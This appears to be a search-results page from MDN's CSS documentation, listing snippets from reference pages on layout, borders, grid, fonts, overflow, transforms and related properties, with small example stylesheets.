ow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning items in a flex container controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of flex items ordering flex items relationship of flexbox to other layout methods backwards compatibility of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing common layouts using gr...
...ids specifications specification status comment css display module level 3the definition of 'display' in that specification.
... candidate recommendation added run-in, flow, flow-root, contents and multi-keyword values.
...And 3 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
however, css pre-processors simply generate valid css, so the techniques used below can be written in pure css instead, if preferred.
... flexbox containers using the display property's flex value causes an element to generate a block-level flex container box.
... the inline-flex value causes an element to generate an inline-level flex container box.
...And 3 more matches
In Flow and Out of Flow - CSS: Cascading Style Sheets
all of the elements can be said to be in flow.
... taking an item out of flow all elements are in-flow apart from: floated items items with position: absolute (including position: fixed which acts in the same way) the root element (html) out of flow items create a new block formatting context (bfc) and therefore everything inside them can be seen as a mini layout, separate from the rest of the page.
... you can see the background colour of the following paragraph running underneath, it is only the line boxes of that paragraph that have been shortened to cause the effect of wrapping content around the float.
...And 3 more matches
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
when a url points at a specific piece of a document, it can be difficult for the user to notice.
... find out how you can use some simple css to draw attention to the target of a url and improve the user's experience.
...selecting the "first" link, for example, will cause <h1 id="one"> to become the target element.
...And 3 more matches
Privacy and the :visited selector - CSS: Cascading Style Sheets
to mitigate this problem, browsers have limited the amount of information that can be obtained from visited links.
... little white lies to preserve users' privacy, firefox and other browsers will lie to web applications under certain circumstances: the window.getcomputedstyle method, and similar functions such as element.queryselector, will always return values indicating that a user has never visited any of the links on a page.
... limits to visited link styles you can style visited links, but there are limits to which styles you can use.
...And 3 more matches
Selector list - CSS: Cascading Style Sheets
/* selects all matching elements */ span, div { border: red 2px solid; } to reduce the size of style sheets, one can group selectors in comma-separated lists.
... h1, h2, h3, h4, h5, h6 { font-family: helvetica; } multi line grouping grouping selectors in a multiple lines using a comma-separated lists.
... #main, .content, article { font-size: 1.1em; } selector list invalidation a downside to using selector lists is that the following aren't equivalent: h1 { font-family: sans-serif } h2:maybe-unsupported { font-family: sans-serif } h3 { font-family: sans-serif } h1, h2:maybe-unsupported, h3 { font-family: sans-serif } this is because a single unsupported selector in a selector list invalidates the whole rule.
...And 3 more matches
Actual value - CSS: Cascading Style Sheets
for example, a user agent that can only render borders with a whole-number pixel width may round the thickness of the border to the nearest integer.
... calculating a property's actual value the user agent performs four steps to calculate a property's actual (final) value: first, the specified value is determined based on the result of cascading, inheritance, or using the initial value.
... next, the computed value is calculated according to the specification (for example, a span with position: absolute will have its computed display changed to block).
...And 3 more matches
align-content - CSS: Cascading Style Sheets
if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
...regardless of the relative sizes of the item and alignment container and whether overflow which causes data loss might happen, the given alignment value is honored.
...baseline<content-distribution> = space-between | space-around | space-evenly | stretch<overflow-position> = unsafe | safe<content-position> = center | start | end | flex-start | flex-end examples css #container { height:200px; width: 240px; align-content: center; /* can be changed in the live sample */ background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 { background-color: #8cffa0; min-height: 30px...
...And 3 more matches
align-items - CSS: Cascading Style Sheets
if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
...regardless of the relative sizes of the item and alignment container and whether overflow which causes data loss might happen, the given alignment value is honored.
...baseline<overflow-position> = unsafe | safe<self-position> = center | start | end | self-start | self-end | flex-start | flex-end examples css #container { height:200px; width: 240px; align-items: center; /* can be changed in the live sample */ background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 { background-color: #8cffa0; min-height: 30px...
...And 3 more matches
<alpha-value> - CSS: Cascading Style Sheets
the <alpha-value> css data type represents a value that can be either a <number> or a <percentage>, specifying the alpha channel or transparency of a color.
... if given as a number, the useful range is 0 (fully transparent) to 1.0 (fully opaque), with decimal values in between; that is, 0.5 indicates that half of the foreground color is used and half of the background color is used.
... if the alpha value is given as a percentage, 0% corresponds to fully transparent while 100% indicates fully opaque.
...And 3 more matches
<angle-percentage> - CSS: Cascading Style Sheets
the <angle-percentage> css data type represents a value that can be either a <angle> or a <percentage>.
... use in calc() where an <angle-percentage> is specified as an allowable type, this means that the percentage resolves to an angle and therefore can be used in a calc() expression.
... specifications specification status comment css values and units module level 4the definition of '<angle-percentage>' in that specification.
...And 3 more matches
backdrop-filter - CSS: Cascading Style Sheets
the backdrop-filter css property lets you apply graphical effects such as blurring or color shifting to the area behind an element.
... because it applies to everything behind the element, to see the effect you must make the element or its background at least partially transparent.
... /* keyword value */ backdrop-filter: none; /* url to svg filter */ backdrop-filter: url(commonfilters.svg#filter); /* <filter-function> values */ backdrop-filter: blur(2px); backdrop-filter: brightness(60%); backdrop-filter: contrast(40%); backdrop-filter: drop-shadow(4px 4px 10px blue); backdrop-filter: grayscale(30%); backdrop-filter: hue-rotate(120deg); backdrop-filter: invert(70%); backdrop-filter: opacity(20%); backdrop-filter: sepia(90%); backdrop-filter: saturate(80%); /* multiple filters */ backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%); /* global values */ backdrop-filter: inherit; backdrop-filter: initial; backdrop-filter: unset; syntax values none no filter is applied to the backdrop.
...And 3 more matches
background-color - CSS: Cascading Style Sheets
in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuetransparentapplies toall elements.
... it also applies to ::first-letter and ::first-line.inheritednocomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...And 3 more matches
border-block-end - CSS: Cascading Style Sheets
the border-block-end css property is a shorthand property for setting the individual logical block-end border property values in a single place in the style sheet.
... constituent properties this property is a shorthand for the following css properties: border-block-end-color border-block-end-style border-block-end-width syntax border-block-end: 1px; border-block-end: 2px dotted; border-block-end: medium dashed blue; border-block-end can be used to set the values for one or more of border-block-end-width, border-block-end-style, and border-block-end-color.
... the physical border to which it maps depends on the element's writing mode, directionality, and text orientation.
...And 3 more matches
border-block-start - CSS: Cascading Style Sheets
the border-block-start css property is a shorthand property for setting the individual logical block-start border property values in a single place in the style sheet.
... constituent properties this property is a shorthand for the following css properties: border-block-start-color border-block-start-style border-block-start-width syntax border-block-start: 1px; border-block-start: 2px dotted; border-block-start: medium dashed blue; border-block-start can be used to set the values for one or more of border-block-start-width, border-block-start-style, and border-block-start-color.
... the physical border to which it maps depends on the element's writing mode, directionality, and text orientation.
...And 3 more matches
border-block - CSS: Cascading Style Sheets
the border-block css property is a shorthand property for setting the individual logical block border property values in a single place in the style sheet.
... border-block: 1px; border-block: 2px dotted; border-block: medium dashed blue; border-block can be used to set the values for one or more of border-block-width, border-block-style, and border-block-color setting both the start and end in the block dimension at once.
... the physical borders to which it maps depends on the element's writing mode, directionality, and text orientation.
...And 3 more matches
border-bottom-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...ottom-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification.
... candidate recommendation no significant change.
...And 3 more matches
border-image-outset - CSS: Cascading Style Sheets
the parts of the border image that are rendered outside the element's border box with border-image-outset do not trigger overflow scrollbars and don't capture mouse events.
... syntax /* <length> value */ border-image-outset: 1rem; /* <number> value */ border-image-outset: 1.5; /* vertical | horizontal */ border-image-outset: 1 1.2; /* top | horizontal | bottom */ border-image-outset: 30px 2 45px; /* top | right | bottom | left */ border-image-outset: 7px 12px 14px 5px; /* global values */ border-image-outset: inherit; border-image-outset: initial; border-image-outset: unset; the border-image-outset property may be specified as one, two, three, or four values.
...negative values are invalid and will cause the border-image-outset declaration to be ignored.
...And 3 more matches
border-inline - CSS: Cascading Style Sheets
the border-inline css property is a shorthand property for setting the individual logical inline border property values in a single place in the style sheet.
... border-inline: 1px; border-inline: 2px dotted; border-inline: medium dashed blue; the physical borders to which border-inline maps depends on the element's writing mode, directionality, and text orientation.
... the borders in the other dimension can be set with border-block, which sets border-block-start, and border-block-end.
...And 3 more matches
border-left-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...0 if border-left-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-width' in that specification.
... candidate recommendation no significant change.
...And 3 more matches
border-right-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...f border-right-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-width' in that specification.
... candidate recommendation no significant change.
...And 3 more matches
border-top-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...valuethe absolute length or 0 if border-top-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-top-width: thick; } div:nth-child(2) { border-top-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-width' in that specification.
... candidate recommendation no significant change.
...And 3 more matches
border-width - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: border-bottom-width border-left-width border-right-width border-top-width syntax /* keyword values */ border-width: thin; border-width: medium; border-width: thick; /* <length> values */ border-width: 4px; border-width: 1.2rem; /* vertical | horizontal */ border-width: 2px 1.5em; /* top | horizontal | bottom */ border-width: 1px 2em 1.5cm; /* top | right | bottom | left */ border-width: 1px 2em 0 4rem; /* global keywords */ border-width: inherit; border-width: initial; border-width: unset; the border-width property may be specified using one, two, three, or four values.
...if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
..."thin" top, "medium" right, "thick" bottom, and 1em left</p> css #sval { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-width' in that specification.
...And 3 more matches
bottom - CSS: Cascading Style Sheets
WebCSSbottom
the bottom css property participates in setting the vertical position of a positioned element.
... auto specifies that: for absolutely positioned elements, the position of the element is based on the top property, while height: auto is treated as a height based on the content; or if top is also auto, the element is positioned where it should vertically be positioned if it were a static element.
... for relatively positioned elements, the distance of the element from its normal position is based on the top property; or if top is also auto, the element is not moved vertically at all.
...And 3 more matches
box-orient - CSS: Cascading Style Sheets
the box-orient css property sets whether an element lays out its contents horizontally or vertically.
... /* keyword values */ box-orient: horizontal; box-orient: vertical; box-orient: inline-axis; box-orient: block-axis; /* global values */ box-orient: inherit; box-orient: initial; box-orient: unset; syntax the box-orient property is specified as one of the keyword values listed below.
... vertical the box lays out its contents vertically.
...And 3 more matches
break-after - CSS: Cascading Style Sheets
by default, the subheadings and paragraphs were laid out rather messily because the headings were not in a uniform place.
...duis suscipit faucibus dui sed ultricies.</p> </article> css html { font-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; } p { line-height: 1.5; break-after: column; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-a...
...fter' in that specification.
...And 3 more matches
break-before - CSS: Cascading Style Sheets
by default, the subheadings and paragraphs were laid out rather messily because the headings were not in a uniform place.
...duis suscipit faucibus dui sed ultricies.</p> </article> css html { font-family: helvetica, arial, sans-serif; } h1 { font-size: 3rem; letter-spacing: 2px; column-span: all; } h2 { font-size: 1.2rem; color: red; letter-spacing: 1px; break-before: column; } p { line-height: 1.5; } article { column-width: 200px; gap: 20px; } result specifications specification status comment css fragmentation module level 3the definition of 'break-...
...before' in that specification.
...And 3 more matches
column-width - CSS: Cascading Style Sheets
the container will have as many columns as can fit without any of them having a width less than the column-width value.
... this property can help you create responsive designs that fit different screen sizes.
... values <length> indicates the optimal column width.
...And 3 more matches
<dimension> - CSS: Cascading Style Sheets
WebCSSdimension
unit identifiers are case insensitive.
... examples valid dimensions 12px 12 pixels 1rem 1 rem 1.2pt 1.2 points 2200ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come immediately after the number.
... specifications specification status comment css values and units module level 4the definition of '<dimension>' in that specification.
...And 3 more matches
<display-listitem> - CSS: Cascading Style Sheets
the list-item keyword causes the element to generate a ::marker pseudo-element with the content specified by its list-style properties (for example a bullet point) together with a principal box of the specified type for its own contents.
... syntax a single value of list-item will cause the element to behave like a list item.
... this can be used together with list-style-type and list-style-position.
...And 3 more matches
element() - CSS: Cascading Style Sheets
WebCSSelement
this image is live, meaning that if the html element is changed, the css properties using the resulting value are automatically updated.
... a particularly useful scenario for using this would be to render an image in an html <canvas> element, then use that as a background.
... on gecko browsers, you can use the non-standard document.mozsetimageelement() method to change the element being used as the background for a given css background element.
...And 3 more matches
fit-content() - CSS: Cascading Style Sheets
the function can be used as a track size in css grid properties, where the maximum size is defined by max-content and the minimum size by auto, which is calculated similar to auto (i.e., minmax(auto, max-content)), except that the track size is clamped at argument if it is greater than the auto minimum.
... the function can also be used as laid out box size for width, height, min-width, min-height, max-width and max-height, where the maximum and minimum sizes refer to the content size.
...because the contents of it are wider than the maximum width, it is clamped at 300 pixels.
...And 3 more matches
font-feature-settings - CSS: Cascading Style Sheets
: "smcp"; font-feature-settings: "smcp" on; font-feature-settings: "swsh" 2; font-feature-settings: "smcp", "swsh" 2; /* global values */ font-feature-settings: inherit; font-feature-settings: initial; font-feature-settings: unset; whenever possible, web authors should instead use the font-variant shorthand property or an associated longhand property such as font-variant-ligatures, font-variant-caps, font-variant-east-asian, font-variant-alternates, font-variant-numeric or font-variant-position.
... these lead to more effective, predictable, understandable results than font-feature-settings, which is a low-level feature designed to handle special cases where no other way exists to enable or access an opentype font feature.
... in particular, font-feature-settings shouldn't be used to enable small caps.
...And 3 more matches
font-stretch - CSS: Cascading Style Sheets
in earlier versions of the font-stretch specification, the property accepts only the nine keyword values.
... you can use font-stretch to select a condensed or expanded face from such fonts.
... the table below demonstrates the effect of supplying various different percentage values of font-stretch on two different fonts: 50% 62.5% 75% 87.5% 100% 112.5% 125% 150% 200% helvetica neue league mono variable helvetica neue, which is installed by default on macos, has a single condensed face in addition to the normal face.
...And 3 more matches
font-variant-alternates - CSS: Cascading Style Sheets
/* keyword values */ font-variant-alternates: normal; font-variant-alternates: historical-forms; /* functional notation values */ font-variant-alternates: stylistic(user-defined-ident); font-variant-alternates: styleset(user-defined-ident); font-variant-alternates: character-variant(user-defined-ident); font-variant-alternates: swash(user-defined-ident); font-variant-alternates: ornaments(user-defined-ident); font-variant-alternates: annotation(user-defined-ident); font-variant-alternates: swash(ident1) annotation(ident2); /* global values */ font-variant-alternates: initial; font-variant-alternates: inherit; font-...
...variant-alternates: unset; the @font-feature-values at-rule can define names for alternative glyph functions (stylistic, styleset, character-variant, swash, ornament or annotation), associating the name with opentype parameters.
... historical-forms this keyword enables historical forms — glyphs that were common in the past but not today.
...And 3 more matches
grid-area - CSS: Cascading Style Sheets
WebCSSgrid-area
the grid-area css shorthand property specifies a grid item’s size and location within a grid by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its grid area.
... the grid-area property can also be set to a <custom-ident> which acts as a name for the area, which can then be placed using grid-template-areas.
...values */ grid-area: 4 some-grid-area; grid-area: 4 some-grid-area / 2 another-grid-area; /* span && [ <integer> || <custom-ident> ] values */ grid-area: span 3; grid-area: span 3 / span some-grid-area; grid-area: 2 span / another-grid-area span; /* global values */ grid-area: inherit; grid-area: initial; grid-area: unset; values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement or a default span of 1.
...And 3 more matches
grid-auto-columns - CSS: Cascading Style Sheets
this can happen either by explicitly positioning into a column that is out of range, or by the auto-placement algorithm creating additional columns.
... fit-content(argument) represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e.
... auto is a keyword that is identical to maximal content if it's a maximum.
...And 3 more matches
grid-column-start - CSS: Cascading Style Sheets
a <grid-line> value can be specified as: either the auto keyword or a <custom-ident> value or an <integer> value or both <custom-ident> and <integer>, separated by a space or the keyword span together with either a <custom-ident> or an <integer> or both.
... values auto a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).
...And 3 more matches
grid-row-start - CSS: Cascading Style Sheets
a <grid-line> value can be specified as: either the auto keyword or a <custom-ident> value or an <integer> value or both <custom-ident> and <integer>, separated by a space or the keyword span together with either a <custom-ident> or an <integer> or both.
... values auto is a keyword indicating that the property contributes nothing to the grid item’s placement, indicating auto-placement, an automatic span, or a default span of 1.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-row-start: foo; will choose the start edge of that named grid area (unless another line named foo-start was explicitly specified before it).
...And 3 more matches
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
resolution can be used as a proxy for filesize — a user agent on a slow mobile connection with a high-resolution screen may prefer to receive lower-resolution images rather than waiting for a higher resolution image to load.
... syntax image-set() = image-set( <image-set-option># ) where <image-set-option> = [ <image> | <string> ] <resolution> and <string> is an <url> values most commonly you'll see an url() <string> value, but the <image> can be any image type except for an image set.
... the image-set() function can not be nested inside another image-set() function.
...And 3 more matches
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
this property should only be used for private web applications or to undo the property if it was previously set by legacy code.
... normal the ime state should be normal; this value can be used in a user style sheet to override the page's setting.
... active the input method editor is initially active; text entry is performed through it unless the user specifically dismisses it.
...And 3 more matches
Inheritance - CSS: Cascading Style Sheets
css properties can be categorized in two types: inherited properties, which by default are set to the computed value of the parent element non-inherited properties, which by default are set to initial value of the property refer to any css property definition to see whether a specific property inherits by default ("inherited: yes") or not ("inherited: no").
... a typical example of an inherited property is the color property.
... a typical example of a non-inherited property is the border property.
...And 3 more matches
initial - CSS: Cascading Style Sheets
WebCSSinitial
it can be applied to any css property.
... this includes the css shorthand all, with which initial can be used to restore all css properties to their initial state.
... examples using initial to reset color for an element html <p> <span>this text is red.</span> <em>this text is in the initial color (typically black).</em> <span>this is red again.</span> </p> css p { color: red; } em { color: initial; } result specifications specification status comment css cascading and inheritance level 4the definition of 'initial' in that specification.
...And 3 more matches
justify-content - CSS: Cascading Style Sheets
if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
...regardless of the relative sizes of the item and alignment container, and regardless of whether overflow which causes data loss might happen, the given alignment value is honored.
...[ <content-position> | left | right ]where <content-distribution> = space-between | space-around | space-evenly | stretch<overflow-position> = unsafe | safe<content-position> = center | start | end | flex-start | flex-end examples setting flex item distribution css #container { display: flex; justify-content: space-between; /* can be changed in the live sample */ } #container > div { width: 100px; height: 100px; background: linear-gradient(-45deg, #788cff, #b4c8ff); } html <div id="container"> <div></div> <div></div> <div></div> </div> <select id="justifycontent"> <option value="start">start</option> <option value="end">end</option> <option value="flex-start">flex-start</option> <option value="fle...
...And 3 more matches
justify-items - CSS: Cascading Style Sheets
ine; justify-items: first baseline; justify-items: last baseline; /* overflow alignment (for positional alignment only) */ justify-items: safe center; justify-items: unsafe center; /* legacy alignment */ justify-items: legacy right; justify-items: legacy left; justify-items: legacy center; /* global values */ justify-items: inherit; justify-items: initial; justify-items: unset; this property can take one of four different forms: basic keywords: one of the keyword values normal, auto, or stretch.
... values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal.
...initially the grid container is given a justify-items value of stretch (the default), which causes the grid items to stretch across the entire width of their cells.
...And 3 more matches
justify-self - CSS: Cascading Style Sheets
rom the left */ justify-self: right; /* pack item from the right */ /* baseline alignment */ justify-self: baseline; justify-self: first baseline; justify-self: last baseline; /* overflow alignment (for positional alignment only) */ justify-self: safe center; justify-self: unsafe center; /* global values */ justify-self: inherit; justify-self: initial; justify-self: unset; this property can take one of three different forms: basic keywords: one of the keyword values normal, auto, or stretch.
... values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal.
...initially the grid container is given a justify-items value of stretch — the default — which causes the grid items to stretch across the entire width of their cells.
...And 3 more matches
mask-position - CSS: Cascading Style Sheets
relative or absolute offsets can be given.
... note that the position can be set outside of the element's box.
...d all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueconsists of two keywords representing the origin and two offsets from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
...And 3 more matches
max-height - CSS: Cascading Style Sheets
auto the browser will calculate and select a max-height for the specified element.
... accessibility concerns ensure that elements set with a max-height are not truncated and/or do not obscure other content when the page is zoomed to increase text size.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements but non-replaced inline elements, table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block.
...And 3 more matches
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
auto the browser will calculate and select a max-width for the specified element.
... accessibility concerns ensure that elements set with a max-width are not truncated and/or do not obscure other content when the page is zoomed to increase text size.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements but non-replaced inline elements, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max width in pixels in this example, the "child" will be either 150 pixels wide or the width of the "parent," whichever is smaller.
...And 3 more matches
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
the content can be scrolled programmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container.
...if you wish to start a new formatting context, you can use display: flow-root to do so.
... -moz-scrollbars-vertical [1] use overflow-x: hidden and overflow-y: scroll, or overflow: scroll hidden instead.
...And 3 more matches
radial-gradient() - CSS: Cascading Style Sheets
the value can be circle (meaning that the gradient's shape is a circle with constant radius) or ellipse (meaning that the shape is an axis-aligned ellipse).
...the possible values are: keyword description closest-side the gradient's ending shape meets the side of the box closest to its center (for circles) or meets both the vertical and horizontal sides closest to the center (for ellipses).
... farthest-side similar to closest-side, except the ending shape is sized to meet the side of the box farthest from its center (or vertical and horizontal sides).
...And 3 more matches
repeat() - CSS: Cascading Style Sheets
WebCSSrepeat
this function can be used in the css grid properties grid-template-columns and grid-template-rows.
... auto as a maximum, identical to max-content.
... auto-fill if the grid container has a definite or maximal size in the relevant axis, then the number of repetitions is the largest possible positive integer that does not cause the grid to overflow its grid container.
...And 3 more matches
<resolution> - CSS: Cascading Style Sheets
on screens, the units are related to css inches, centimeters, or pixels, not physical values.
...screens typically contains 72 or 96 dots per inch, but the dpi for printed documents is usually much greater.
... specifications specification status comment css values and units module level 4the definition of '<resolution>' in that specification.
...And 3 more matches
scrollbar-width - CSS: Cascading Style Sheets
accessibility concerns use this property with caution — setting scrollbar-width to thin or none can make content hard or impossible to scroll if the author does not provide an alternative scrolling mechanism.
... while swiping gestures or mouse wheels can enable scrolling on such content, some devices have no scroll alternative.
... wcag criterion 2.1.1 (keyboard) has been in place for a long time to advise on basic keyboard accessibility, and this should include scrolling of content areas.
...And 3 more matches
<shape> - CSS: Cascading Style Sheets
WebCSSshape
note: <shape> and rect() work in conjunction with clip, which has been deprecated in favor of clip-path.
... example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<shape> deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support 9.5safari full support 1.3...
...And 3 more matches
text-decoration-color - CSS: Cascading Style Sheets
this effect can nevertheless be achieved by nesting elements, applying a different line type to each element (with the text-decoration-line property), and specifying the line color (with text-decoration-color) on a per-element basis.
...for example, change of text and text-decoration-color alone is not enough to indicate a link has focus.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuecurrentcolorapplies toall elements.
...And 3 more matches
text-emphasis-position - CSS: Cascading Style Sheets
right draws marks to the right of the text in vertical writing mode.
... left draw marks to the left of the text in vertical writing mode.
...the informative table below summarizes the preferred emphasis mark positions for chinese, mongolian and japanese: preferred emphasis mark and ruby position language preferred position illustration horizontal vertical japanese over right korean mongolian chinese under right note: the text-emphasis-position cannot be set, and therefore are not reset either, using the text-emphasis shorthand property.
...And 3 more matches
text-emphasis - CSS: Cascading Style Sheets
this is because if the style and the color of emphasis marks may vary in a text, it is extremely unlikely that their position will.
... in the very rare cases when this is needed, the property text-emphasis-position.
...this is the default shape in vertical writing modes when no other shape is given.
...And 3 more matches
text-size-adjust - CSS: Cascading Style Sheets
/* keyword values */ text-size-adjust: none; text-size-adjust: auto; /* <percentage> value */ text-size-adjust: 80%; /* global values */ text-size-adjust: inherit; text-size-adjust: initial; text-size-adjust: unset; because many websites have not been developed with small devices in mind, mobile browsers differ from desktop browsers in the way they render web pages.
...to map the extra-wide layout back to the original device size, they either show only part of the whole render or scale the viewport down to fit.
... since text that has been scaled down to fit a mobile screen may be very small, many mobile browsers apply a text inflation algorithm to enlarge the text to make it more readable.
...And 3 more matches
top - CSS: Cascading Style Sheets
WebCSStop
the top css property participates in specifying the vertical position of a positioned element.
... auto specifies that: for absolutely positioned elements, the position of the element is based on the bottom property, while height: auto is treated as a height based on the content; or if bottom is also auto, the element is positioned where it should vertically be positioned if it were a static element.
... for relatively positioned elements, the distance of the element from its normal position is based on the bottom property; or if bottom is also auto, the element is not moved vertically at all.
...And 3 more matches
matrix3d() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 this transformation applies to the 3d space and can't be represented on the plane.
... a generic 3d affine transformation can't be represented using a cartesian-coordinate matrix, as translations are not linear transformations.
... a1a2a3a4b1b2b3b4c1c2c3c4d1d2d3d4 examples cube squashing example the following example shows a 3d cube created from dom elements and transforms, which can be hovered/focused to apply a matrix3d() transform to it.
...And 3 more matches
transition-property - CSS: Cascading Style Sheets
note: the set of properties that can be animated is subject to change.
... as such, you should avoid including any properties in the list that don't currently animate, as someday they might, causing unexpected results.
... if you specify a shorthand property (e.g., background), all of its longhand sub-properties that can be animated will be.
...And 3 more matches
unset - CSS: Cascading Style Sheets
WebCSSunset
in other words, it behaves like the inherit keyword in the first case, when the property is an inherited property, and like the initial keyword in the second case, when the property is a non-inherited property.
... unset can be applied to any css property, including the css shorthand all.
...color: green; } p { color: red; } .bar p { color: unset; } result border html <p>this text has a red border.</p> <div> <p>this text has a red border.</p> </div> <div class="bar"> <p>this text has a black border (initial default, not inherited).</p> </div> css div { border: 1px solid green; } p { border: 1px solid red; } .bar p { border-color: unset; } result specifications specification status comment css cascading and inheritance level 4the definition of 'unset' in that specification.
...And 3 more matches
word-spacing - CSS: Cascading Style Sheets
legible word-spacing must be determined on a case-by-case basis, as different font families have different character widths.
